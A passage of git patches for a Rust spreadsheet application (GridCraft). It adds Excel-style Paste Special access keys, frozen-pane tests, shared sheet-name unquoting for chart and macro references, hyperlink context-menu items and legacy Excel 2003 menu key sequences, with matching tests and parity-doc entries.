('x', Set("what", "allExceptBorders")), + Key::W => ('w', Set("what", "columnWidths")), + Key::R => ('r', Set("what", "formulasAndNumberFormats")), + Key::U => ('u', Set("what", "valuesAndNumberFormats")), + Key::O => ('o', Set("operation", "none")), + Key::D => ('d', Set("operation", "add")), + Key::S => ('s', Set("operation", "subtract")), + Key::M => ('m', Set("operation", "multiply")), + Key::I => ('i', Set("operation", "divide")), + Key::B => ('b', Toggle("skipBlanks")), + Key::E => ('e', Toggle("transpose")), + Key::L => ('l', Mnemonic::PasteLink), + _ => return None, + }) +} + /// Paste Special's legacy mnemonics select options; Enter still performs the paste. pub(super) fn paste_special_shortcuts(d: &mut Dialog, ctx: &egui::Context) { if ctx.text_edit_focused() { @@ -88,14 +129,7 @@ pub(super) fn paste_special_shortcuts(d: &mut Dialog, ctx: &egui::Context) { }); let mac = ctx.os() == egui::os::OperatingSystem::Mac; let allowed = |m: egui::Modifiers| !m.ctrl && !m.command && !m.mac_cmd && !(m.alt && (mac || right_alt)); - let mnemonic = |key| match key { - Key::T => Some('t'), - Key::V => Some('v'), - Key::F => Some('f'), - Key::C => Some('c'), - Key::E => Some('e'), - _ => None, - }; + let mnemonic = |key| mnemonic_action(key).map(|(letter, _)| letter); let mut text_to_consume = Vec::new(); for event in ctx.input(|i| i.events.clone()) { let egui::Event::Key { key, pressed: true, repeat, modifiers, .. } = event else { continue }; @@ -107,17 +141,18 @@ pub(super) fn paste_special_shortcuts(d: &mut Dialog, ctx: &egui::Context) { if repeat { continue; } - if key == Key::E { - let transpose = d.values.get("transpose").and_then(Json::as_bool).unwrap_or(false); - d.values.insert("transpose".into(), json!(!transpose)); - } else { - let what = match key { - Key::T => "formats", - Key::V => "values", - Key::F => "formulas", - _ => "comments", - }; - d.values.insert("what".into(), json!(what)); + match mnemonic_action(key).map(|(_, action)| action) { + Some(Mnemonic::Set(field, value)) => { + d.values.insert(field.into(), json!(value)); + } + Some(Mnemonic::Toggle(field)) => { + let on = d.values.get(field).and_then(Json::as_bool).unwrap_or(false); + d.values.insert(field.into(), json!(!on)); + } + Some(Mnemonic::PasteLink) => { + d.values.insert(PASTE_LINK_NOW.into(), json!(true)); + } + None => {} } } // Browsers can deliver Text before or after Key. Act only on Key, then remove diff --git a/crates/ui-egui/tests/it/paste_special_dialog.rs b/crates/ui-egui/tests/it/paste_special_dialog.rs index 161d35292..822503747 100644 --- a/crates/ui-egui/tests/it/paste_special_dialog.rs +++ b/crates/ui-egui/tests/it/paste_special_dialog.rs @@ -54,3 +54,50 @@ fn paste_link_pastes_references_at_once() { assert_eq!(c1["value"], json!(2.0)); assert!(c1["formula"].as_str().is_some_and(|f| f.contains("A1")), "{c1}"); } + +fn press(h: &mut Harness, key: egui::Key) { + for pressed in [true, false] { + h.input_mut().events.push(egui::Event::Key { key, physical_key: Some(key), pressed, repeat: false, modifiers: egui::Modifiers::NONE }); + } + h.run_steps(2); +} + +fn value(h: &Harness, field: &str) -> serde_json::Value { + h.state().dialog.as_ref().and_then(|d| d.values.get(field).cloned()).unwrap_or_default() +} + +#[test] +fn every_option_has_its_excel_access_key() { + // #1482: only F, V, T, C and E worked. + let mut h = harness(); + for (key, field, want) in [ + (egui::Key::N, "what", json!("validation")), + (egui::Key::X, "what", json!("allExceptBorders")), + (egui::Key::W, "what", json!("columnWidths")), + (egui::Key::R, "what", json!("formulasAndNumberFormats")), + (egui::Key::U, "what", json!("valuesAndNumberFormats")), + (egui::Key::A, "what", json!("all")), + (egui::Key::D, "operation", json!("add")), + (egui::Key::S, "operation", json!("subtract")), + (egui::Key::I, "operation", json!("divide")), + (egui::Key::O, "operation", json!("none")), + (egui::Key::M, "operation", json!("multiply")), + (egui::Key::B, "skipBlanks", json!(true)), + ] { + press(&mut h, key); + assert_eq!(value(&h, field), want, "{key:?}"); + } + press(&mut h, egui::Key::B); + assert_eq!(value(&h, "skipBlanks"), json!(false), "B flips Skip blanks back"); + // V then Enter: values multiplied, as with the mouse. + press(&mut h, egui::Key::V); + press(&mut h, egui::Key::Enter); + assert!(h.state().dialog.is_none()); + assert_eq!(cell(&mut h, "C1")["value"], json!(20.0)); + // L is the Paste Link button: it pastes at once. + let mut h = harness(); + press(&mut h, egui::Key::L); + h.run_steps(2); + assert!(h.state().dialog.is_none()); + assert!(cell(&mut h, "C1")["formula"].as_str().is_some_and(|f| f.contains("A1"))); +} diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 125182d27..09f29b9a9 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -1,6 +1,6 @@ # UI parity -> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-02 · **Change:** minor (RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-03 · **Change:** minor (every Paste Special option has its access key; earlier: RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Interaction, controls and feel, against Excel. Part of [target-app-parity.md](target-app-parity.md). **UI/UX fidelity: ~55% ready, 50–80 h** (estimated). Ribbon command coverage is measured @@ -237,6 +237,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | Date | Change | Summary | |---|---|---| +| 2026-11-03 | minor | Paste Special: every option has Excel's access key (A, F, V, T, C, N, X, W, R, U; O, D, S, M, I; B, E; L pastes the link at once), not only F, V, T, C and E (#1482) | | 2026-11-02 | minor | RefEdit reference boxes in dialogs: pick a range on the grid, collapse the dialog while selecting; Goal Seek, Solver (with the Model Range of Load/Save) and Data Analysis use them; while collapsed the arrow keys move the selection and Shift+arrow extends it, F4 cycles a reference's anchors, a click elsewhere keeps the box picking, a dialog opened over a picking one puts the selection back, OK stays on the sheet its command showed, and scripted cancel and confirm end a pick like the buttons; the dialog's sheet is followed through the recorded undo steps, so a sheet deleted and recreated under its name is not taken for it and an undo of the deletion brings it back; a box the dialog stops showing is no longer picked into | | 2026-11-02 | minor | Python mode edits a cell's code in the formula bar's code editor (Ctrl+Alt+Shift+P, `=PY` then Tab, editing a Python cell), with the PY badge beside fx; its keys apply in input order, also several in one frame, and Ctrl+Enter commits through `python.set` (empty code clears the cell), keeping the code and showing the command's message when the code is refused | | 2026-11-02 | minor | Insert › Symbols: Equation split button (access keys N E), a gallery of examples, and an equation editor with quick-insert buttons, the error underlined at its position and a live preview; double-clicking an equation edits it | From 56f0679fed05aa521d2e3665870a5d3456b9a098 Mon Sep 17 00:00:00 2001 From: adifiedio Date: Tue, 3 Nov 2026 13:13:29 +0530 Subject: [PATCH 249/298] Frozen panes: test the scrolled freeze-handle drag and the frozen text's painted extent (#2544) Review follow-up: a column-handle drop on the last frozen column while scrolled, which fails if freeze_boundary measures with x(c + 1), and a check that frozen A1's text lies inside its clip, not only that the clip is A1. --- crates/ui-egui/tests/it/freeze_handles.rs | 17 +++++++++++++++++ crates/ui-egui/tests/it/text_overflow_scroll.rs | 14 ++++++++++++++ 2 files changed, 31 insertions(+) diff --git a/crates/ui-egui/tests/it/freeze_handles.rs b/crates/ui-egui/tests/it/freeze_handles.rs index e3ccf8c65..141d0b9ef 100644 --- a/crates/ui-egui/tests/it/freeze_handles.rs +++ b/crates/ui-egui/tests/it/freeze_handles.rs @@ -82,3 +82,20 @@ fn last_frozen_column_ends_at_the_freeze_line_when_scrolled() { assert!(g.x(&sh, 2) < split.x && g.y(&sh, 2) < split.y, "C and row 3 are scrolled under the frozen panes"); assert!(g.same_col_pane(0, 1) && g.same_col_pane(2, 9) && !g.same_col_pane(1, 2)); } + +/// Dropping the column handle on the left part of the last frozen column while scrolled freezes +/// up to its left edge: the column's right edge is the freeze line, not the next column's +/// scrolled position (#2544). +#[test] +fn dragging_the_column_handle_when_scrolled_measures_the_last_frozen_column() { + let mut h = harness(); + h.state_mut().run("view.freezePanes", serde_json::json!({"cell": "C1"})).unwrap(); + h.state_mut().view_mut().unwrap().scroll = egui::vec2(300.0, 0.0); + h.run_steps(2); + let g = geo(&h); + let sh = h.state().session.active().unwrap().wb.active().unwrap().clone(); + let (cols, _) = freeze_handles(&g); + assert!(g.x(&sh, 2) < g.x(&sh, 1), "C is scrolled left of B"); + drag(&mut h, cols.center(), pos2(g.x(&sh, 1) + 10.0, g.cells.top() + 40.0)); + assert_eq!(freeze(&h), Some((0, 1))); +} diff --git a/crates/ui-egui/tests/it/text_overflow_scroll.rs b/crates/ui-egui/tests/it/text_overflow_scroll.rs index 076478e52..371c0aeee 100644 --- a/crates/ui-egui/tests/it/text_overflow_scroll.rs +++ b/crates/ui-egui/tests/it/text_overflow_scroll.rs @@ -53,6 +53,18 @@ fn text_clips(h: &Harness, text: &str) -> Vec { .collect() } +/// Painted extents of the text shapes whose text is `text`, cut to their clip rects. +fn text_visible_rects(h: &Harness, text: &str) -> Vec { + h.output() + .shapes + .iter() + .filter_map(|s| match &s.shape { + Shape::Text(t) if t.galley.job.text == text => Some(t.visual_bounding_rect().intersect(s.clip_rect)), + _ => None, + }) + .collect() +} + fn cell_rect(h: &Harness, cell: &str) -> Rect { let app = h.state(); let sheet = app.session.active().unwrap().wb.active().unwrap(); @@ -408,6 +420,8 @@ fn frozen_column_text_keeps_its_cell_when_scrolled() { (clips[0].left() - a1.left()).abs() <= 0.5 && (clips[0].right() - a1.right()).abs() <= 0.5, "A1's text spans A1 at column {col}: {clips:?} vs {a1:?}" ); + let visible = text_visible_rects(&h, LEFT); + assert!(visible.len() == 1 && visible[0].is_positive(), "A1's text shows inside its clip at column {col}: {visible:?}"); } } From e89ba799e916d60fa3286c84f5dd859d5e5b0cbf Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 01:49:01 -0600 Subject: [PATCH 250/298] #2012: chart names and macro examples unquote sheet names like formulas do Three places still split a `Sheet!Name` reference and stripped the sheet's quotes by hand: the chart resolver (is a series name a defined name?), the XLSX chart writer (the name's cache) and the macro editor's example references. The first two left a doubled quote in the name, so a series named `'Bob''s'!Title` (a name on the sheet "Bob's") wasn't found and showed that text instead of the name's value; they also split at the first `!`, so a quoted sheet holding one broke. All three now use core's split_sheet, the one reading formulas use. Co-Authored-By: Claude Opus 5.5 --- crates/chart/src/resolve.rs | 7 +++--- crates/chart/src/tests.rs | 36 ++++++++++++++++++++++++++++++ crates/ui-egui/src/macro_editor.rs | 14 ++++++++---- crates/xlsx/src/chart.rs | 9 ++++---- 4 files changed, 55 insertions(+), 11 deletions(-) diff --git a/crates/chart/src/resolve.rs b/crates/chart/src/resolve.rs index 6eee201ae..de3cdef1b 100644 --- a/crates/chart/src/resolve.rs +++ b/crates/chart/src/resolve.rs @@ -179,9 +179,10 @@ fn category_table(wb: &Workbook, sheet: usize, formula: &str, values: &str) -> ( /// Whether `t` names a defined name seen from `sheet` (`Name`, or `Sheet1!Name` looked up on /// that sheet), the way the evaluator looks names up. fn is_defined_name(wb: &Workbook, sheet: usize, t: &str) -> bool { - match t.split_once('!') { - Some((s, bare)) => wb.sheet_index(s.trim_matches('\'')).is_some_and(|i| wb.name(bare, i).is_some()), - None => wb.name(t, sheet).is_some(), + // `'Bob''s'!Name`: the sheet is unquoted as everywhere else (#2012). + match gridcraft_core::split_sheet(t) { + (Some(s), bare) => wb.sheet_index(&s).is_some_and(|i| wb.name(bare, i).is_some()), + (None, _) => wb.name(t, sheet).is_some(), } } diff --git a/crates/chart/src/tests.rs b/crates/chart/src/tests.rs index 46d047afc..5d5876af0 100644 --- a/crates/chart/src/tests.rs +++ b/crates/chart/src/tests.rs @@ -1258,3 +1258,39 @@ fn box_whisker_draws_each_series_quartile_method() { // The boxes span 3.5 and 2.5 data units on the same value axis. assert!((heights[0] / heights[1] - 1.4).abs() < 0.001); } + +#[test] +fn a_series_named_by_a_name_on_a_sheet_with_an_apostrophe_resolves() { + // #2012: `'Bob''s'!Title` kept the doubled quote, so the sheet wasn't found and the series + // was named by the literal text. + let mut wb = Workbook::new(); + { + let s = wb.sheet_mut(0).unwrap(); + s.name = "Bob's".into(); + s.set_value(CellRef::new(0, 0), Value::from("Takings")); + s.set_value(CellRef::new(1, 0), Value::Number(4.0)); + s.set_value(CellRef::new(2, 0), Value::Number(9.0)); + } + wb.names.push(gridcraft_model::DefinedName { + name: "Title".into(), + scope: Some(0), + formula: "'Bob''s'!$A$1".into(), + comment: String::new(), + hidden: false, + }); + let mut c = chart(ChartKind::ColumnClustered); + c.series = vec![Series { + name: Some("'Bob''s'!Title".into()), + categories: None, + values: "'Bob''s'!$A$2:$A$3".into(), + bubble_sizes: None, + color: None, + secondary: false, + kind: None, + quartiles: Default::default(), + smooth: false, + trendlines: Vec::new(), + }]; + let d = resolve(&wb, 0, &c); + assert_eq!(d.series.first().map(|s| s.name.as_str()), Some("Takings")); +} diff --git a/crates/ui-egui/src/macro_editor.rs b/crates/ui-egui/src/macro_editor.rs index 1f64d55ad..2dc52edf5 100644 --- a/crates/ui-egui/src/macro_editor.rs +++ b/crates/ui-egui/src/macro_editor.rs @@ -459,10 +459,7 @@ pub fn parse_refs(text: &str) -> Vec<(Option, RangeRef)> { text.split(',') .filter_map(|part| { let part = part.trim(); - let (sheet, body) = match part.rsplit_once('!') { - Some((s, b)) => (Some(s.trim().trim_matches('\'').replace("''", "'")), b), - None => (None, part), - }; + let (sheet, body) = gridcraft_engine::core::split_sheet(part); RangeRef::parse(&body.replace('$', "")).map(|r| (sheet, r)) }) .take(500) @@ -2399,6 +2396,15 @@ pub fn paint_overlay(p: &egui::Painter, geo: &crate::grid::Geo, sh: &gridcraft_e mod tests { use super::*; + #[test] + fn example_references_unquote_sheet_names_as_formulas_do() { + // #2012: one shared reading of `'Bob''s'!A1` and `'a!b'!A1`. + let refs = parse_refs("'Bob''s'!$A$1:$B$2, 'a!b'!C3, D4"); + let sheets: Vec> = refs.iter().map(|(s, _)| s.clone()).collect(); + assert_eq!(sheets, [Some("Bob's".to_string()), Some("a!b".to_string()), None]); + assert_eq!(refs.iter().map(|(_, r)| r.a1()).collect::>(), ["A1:B2", "C3", "D4"]); + } + #[test] fn an_edited_input_keeps_a_shape_a_macro_may_declare() { let range = NamedInput { rows: [2, 10], cols: [3, 3], header: true, col_types: vec![ColType::Number; 3], ..NamedInput::default() }; diff --git a/crates/xlsx/src/chart.rs b/crates/xlsx/src/chart.rs index 6fa9e0144..c36420043 100644 --- a/crates/xlsx/src/chart.rs +++ b/crates/xlsx/src/chart.rs @@ -366,12 +366,13 @@ fn is_ref(f: &str) -> bool { /// when it isn't a name, or names a sheet the workbook doesn't have. fn chart_name<'a>(wb: &'a Workbook, si: usize, f: &str) -> Option<(Option, String, Option<&'a DefinedName>)> { let Ok(Expr::Name(n)) = gridcraft_formula::parse(f.trim()) else { return None }; - match n.split_once('!') { - Some((s, bare)) => { - let i = wb.sheet_index(s.trim_matches('\''))?; + // `'Bob''s'!Name`: the sheet is unquoted as everywhere else (#2012). + match gridcraft_core::split_sheet(&n) { + (Some(s), bare) => { + let i = wb.sheet_index(&s)?; Some((Some(i), bare.to_string(), wb.name(bare, i))) } - None => { + (None, _) => { let def = wb.name(&n, si); Some((None, n, def)) } From a774d18350166477b8385799ada7c560d4a078b3 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 01:53:43 -0600 Subject: [PATCH 251/298] #3089: the personal-information flag's doc names the XLSX writer Addresses CodeRabbit review on #3238, "Limit the remove_personal_info doc comment to XLSX saves": only the XLSX writer leaves out the author and company; the workbook's own serialization still holds them. The comment now says so. Co-Authored-By: Claude Opus 5.5 --- crates/model/src/workbook.rs | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/crates/model/src/workbook.rs b/crates/model/src/workbook.rs index dbd011427..c8975eae0 100644 --- a/crates/model/src/workbook.rs +++ b/crates/model/src/workbook.rs @@ -202,7 +202,8 @@ pub struct Workbook { pub show_objects: ShowObjects, /// Trust Center › Privacy Options › "Remove personal information from file properties on save" /// (``): kept with the file, and while it is on the author and - /// company are left out of what GridCraft saves, as Excel leaves them empty. + /// company are left out of the XLSX files GridCraft writes, as Excel leaves them empty. Other + /// formats aren't filtered: the workbook's own serialization still holds them. #[serde(default, skip_serializing_if = "std::ops::Not::not")] pub remove_personal_info: bool, /// Read and set with [`Workbook::active_sheet`] and [`Workbook::set_active_sheet`]. From f9edafa800752fef25602dcaf84a0e1e080daa17 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 01:54:50 -0600 Subject: [PATCH 252/298] #2120: a linked cell's menu edits, opens or removes its link MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Right-clicking a cell with a link only offered "Link…", whose dialog was titled Insert Hyperlink, so changing a link wasn't obvious. As in Excel, the cell menu of a linked cell now offers Edit Hyperlink… (the same dialog, filled with the link and titled Edit Hyperlink), Open Hyperlink (as clicking the link: a reference selects its cell, a web or e-mail address asks first) and Remove Hyperlink (edit.clearHyperlinks). A cell without a link keeps "Link…". Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/dialogs.rs | 2 ++ crates/ui-egui/src/grid/menus.rs | 16 +++++++++ .../tests/it/context_menu_stays_open.rs | 33 +++++++++++++++++++ docs/ui-parity.md | 3 +- 4 files changed, 53 insertions(+), 1 deletion(-) diff --git a/crates/ui-egui/src/dialogs.rs b/crates/ui-egui/src/dialogs.rs index 33be245a5..ec61c5c56 100644 --- a/crates/ui-egui/src/dialogs.rs +++ b/crates/ui-egui/src/dialogs.rs @@ -564,6 +564,8 @@ impl Dialog { d.values.insert("text".into(), json!(text)); d.values.insert("tooltip".into(), json!(link.tooltip)); d.original_link_text = Some(text); + // As in Excel, the dialog on a linked cell edits that link. + d.title = "Edit Hyperlink".into(); } d } diff --git a/crates/ui-egui/src/grid/menus.rs b/crates/ui-egui/src/grid/menus.rs index b05a04bc7..0e7872334 100644 --- a/crates/ui-egui/src/grid/menus.rs +++ b/crates/ui-egui/src/grid/menus.rs @@ -129,6 +129,9 @@ pub(super) fn context_menu(app: &mut SheetApp, ui: &mut egui::Ui) { egui::Frame::popup(ui.style()).show(ui, |ui| { ui.set_min_width(200.0); let insert_copied = insert_copied_item(app); + // On a cell with a link Excel offers to edit, open or remove it (#2120). + let link = + app.session.active().and_then(|d| d.wb.active().and_then(|sh| sh.hyperlinks.get(&d.selection.active)).map(|l| l.target.clone())); let mut items: Vec<(&str, &str)> = vec![ ("Cut", "edit.cut"), ("Copy", "edit.copy"), @@ -154,6 +157,14 @@ pub(super) fn context_menu(app: &mut SheetApp, ui: &mut egui::Ui) { if let Some(item) = insert_copied { items.insert(6, item); } + if link.is_some() + && let Some(i) = items.iter().position(|(_, id)| *id == "ui:insertLink") + { + items.splice( + i..=i, + [("Edit Hyperlink…", "ui:insertLink"), ("Open Hyperlink", "ui:openLink"), ("Remove Hyperlink", "edit.clearHyperlinks")], + ); + } if show_details_offered(app) && let Some(i) = items.iter().position(|(_, id)| *id == "data.sortDescending") { @@ -178,6 +189,11 @@ pub(super) fn context_menu(app: &mut SheetApp, ui: &mut egui::Ui) { "ui:newNote" => app.open_dialog("comment", json!({"threaded": false})), "ui:defineName" => app.open_dialog("defineName", json!({})), "ui:insertLink" => app.open_dialog("insertLink", json!({})), + "ui:openLink" => { + if let Some(target) = &link { + super::interact::follow_link(app, target); + } + } "ui:pickList" => app.open_dialog("pickList", json!({})), "ui:filterValue" => { if let Some(d) = app.session.active() { diff --git a/crates/ui-egui/tests/it/context_menu_stays_open.rs b/crates/ui-egui/tests/it/context_menu_stays_open.rs index c48c659d0..365c28c92 100644 --- a/crates/ui-egui/tests/it/context_menu_stays_open.rs +++ b/crates/ui-egui/tests/it/context_menu_stays_open.rs @@ -100,3 +100,36 @@ fn a_quick_right_click_between_pixels_keeps_the_menu_open_on_retina() { h.run_steps(4); assert!(h.state().grid.context_menu.is_some(), "the menu stays open"); } + +#[test] +fn a_linked_cell_offers_to_edit_open_and_remove_its_link() { + // #2120: the menu only offered "Link…", and its dialog was titled Insert Hyperlink. + use egui_kittest::kittest::Queryable as _; + let mut h = harness(); + h.state_mut().session.execute("insert.link", serde_json::json!({"cell": "B2", "target": "#Sheet1!D9", "text": "Go"})).unwrap(); + h.run_steps(2); + quick_right_click(&mut h, "B2"); + assert!(h.query_by_label("Edit Hyperlink…").is_some() && h.query_by_label("Open Hyperlink").is_some(), "linked cell menu"); + assert!(h.query_by_label("Link…").is_none()); + // Open Hyperlink follows it (an internal reference selects its cell). + h.get_by_label("Open Hyperlink").click(); + h.run_steps(4); + assert_eq!(h.state().session.active().unwrap().selection.active, CellRef::parse("D9").unwrap()); + // Edit Hyperlink opens the link's own dialog. + quick_right_click(&mut h, "B2"); + h.get_by_label("Edit Hyperlink…").click(); + h.run_steps(4); + let d = h.state().dialog.as_ref().expect("the link dialog"); + assert_eq!(d.title, "Edit Hyperlink"); + assert_eq!(d.values.get("target").and_then(|v| v.as_str()), Some("#Sheet1!D9")); + h.state_mut().dialog = None; + h.run_steps(2); + // Remove Hyperlink takes the link away; a cell without one offers Link… again. + quick_right_click(&mut h, "B2"); + h.get_by_label("Remove Hyperlink").click(); + h.run_steps(4); + let sh = h.state().session.active().unwrap().wb.active().unwrap().clone(); + assert!(!sh.hyperlinks.contains_key(&CellRef::parse("B2").unwrap())); + quick_right_click(&mut h, "B2"); + assert!(h.query_by_label("Link…").is_some() && h.query_by_label("Edit Hyperlink…").is_none()); +} diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 125182d27..e34aac280 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -1,6 +1,6 @@ # UI parity -> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-02 · **Change:** minor (RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-03 · **Change:** minor (a linked cell's menu edits, opens or removes the link; earlier: RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Interaction, controls and feel, against Excel. Part of [target-app-parity.md](target-app-parity.md). **UI/UX fidelity: ~55% ready, 50–80 h** (estimated). Ribbon command coverage is measured @@ -237,6 +237,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | Date | Change | Summary | |---|---|---| +| 2026-11-03 | minor | Cell context menu on a cell with a link: Edit Hyperlink… (the link dialog, titled Edit Hyperlink and filled with the link), Open Hyperlink and Remove Hyperlink, as in Excel, instead of Link… (#2120) | | 2026-11-02 | minor | RefEdit reference boxes in dialogs: pick a range on the grid, collapse the dialog while selecting; Goal Seek, Solver (with the Model Range of Load/Save) and Data Analysis use them; while collapsed the arrow keys move the selection and Shift+arrow extends it, F4 cycles a reference's anchors, a click elsewhere keeps the box picking, a dialog opened over a picking one puts the selection back, OK stays on the sheet its command showed, and scripted cancel and confirm end a pick like the buttons; the dialog's sheet is followed through the recorded undo steps, so a sheet deleted and recreated under its name is not taken for it and an undo of the deletion brings it back; a box the dialog stops showing is no longer picked into | | 2026-11-02 | minor | Python mode edits a cell's code in the formula bar's code editor (Ctrl+Alt+Shift+P, `=PY` then Tab, editing a Python cell), with the PY badge beside fx; its keys apply in input order, also several in one frame, and Ctrl+Enter commits through `python.set` (empty code clears the cell), keeping the code and showing the command's message when the code is refused | | 2026-11-02 | minor | Insert › Symbols: Equation split button (access keys N E), a gallery of examples, and an equation editor with quick-insert buttons, the error underlined at its position and a live preview; double-clicking an equation edits it | From 3c0749e685861b07916db57c7368830541b1b0d7 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 02:31:45 -0600 Subject: [PATCH 253/298] #941: Excel 2003 menu access keys (Alt+I, R; Alt+D, S; ...) Adds 43 legacy sequences to keytips.json (Insert, Edit, Format, Data, View, Tools menus and File > Page Setup), each running the command or dialog the modern key tip already uses. Alt+I, D, V and T are implicit levels with no ribbon tab; badges are not painted under them, as in Excel. The generator checks Options (a Backstage page) by its page. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/keytips/keytip_table.rs | 23 ++ .../src/keytips/keytip_table/generated.rs | 45 ++- crates/ui-egui/src/keytips/keytips.json | 301 +++++++++++++++++ crates/ui-egui/src/ribbon/controls.rs | 10 +- crates/ui-egui/tests/it/keytips_generated.rs | 303 +++++++++++++++++- docs/ui-parity.md | 3 +- xtask/src/keytips.rs | 5 + 7 files changed, 686 insertions(+), 4 deletions(-) diff --git a/crates/ui-egui/src/keytips/keytip_table.rs b/crates/ui-egui/src/keytips/keytip_table.rs index 87c85befd..502e7336f 100644 --- a/crates/ui-egui/src/keytips/keytip_table.rs +++ b/crates/ui-egui/src/keytips/keytip_table.rs @@ -48,6 +48,13 @@ pub fn is_group_level(seq: &str) -> bool { matches!(lookup(seq), Some(Entry::Continue)) || (lookup(seq).is_none() && has_deeper(seq)) } +/// False under a legacy Excel 2003 menu letter that has no ribbon tab (Alt+I, D, V, T): Excel +/// paints no badges for those, so the ribbon stays as it is while the sequence is typed. +pub fn paints_badges(prefix: &str) -> bool { + let Some(root) = prefix.get(..1) else { return true }; + SEQUENCES.iter().any(|(seq, entry)| matches!(entry, Entry::Tab(_)) && seq.starts_with(root)) +} + fn matches_target(action: &Action, target: &str) -> bool { match action { Action::Command(id) | Action::CommandWith(id, _) | Action::Pending(id) | Action::Control(id) => *id == target, @@ -214,6 +221,22 @@ mod tests { assert!(!has_deeper("X")); } + #[test] + fn legacy_menu_letters_finish_without_badges() { + assert_eq!(lookup("IR"), Some(Entry::Finish(Action::Command("home.insertRows")))); + assert_eq!(lookup("DS"), Some(Entry::Finish(Action::Dialog("sort")))); + assert_eq!(lookup("EAA"), Some(Entry::Finish(Action::Command("edit.clearAll")))); + for root in ["I", "D", "V", "T"] { + assert!(is_group_level(root), "{root} waits for the menu letter"); + assert!(!paints_badges(root), "{root} has no tab, so no badges"); + } + assert!(paints_badges(""), "tab badges"); + assert!(paints_badges("HO")); + assert!(paints_badges("J"), "the Draw tab's two-letter unit"); + assert!(paints_badges("E"), "E and O stay aliases of Home"); + assert_eq!(sequences_for("home.insertRows"), vec!["HIR", "IR"], "the ribbon sequence stays first"); + } + #[test] fn group_extension_paints_only_continue_levels() { assert_eq!(group_extension("H", &["dialog:pasteSpecial"]), vec!["HV"]); diff --git a/crates/ui-egui/src/keytips/keytip_table/generated.rs b/crates/ui-egui/src/keytips/keytip_table/generated.rs index 3124a4b1f..c3a343671 100644 --- a/crates/ui-egui/src/keytips/keytip_table/generated.rs +++ b/crates/ui-egui/src/keytips/keytip_table/generated.rs @@ -372,5 +372,48 @@ pub const SEQUENCES: &[(&str, Entry)] = &[ ("FN", Entry::Finish(Action::Command("file.new"))), // Excel: New 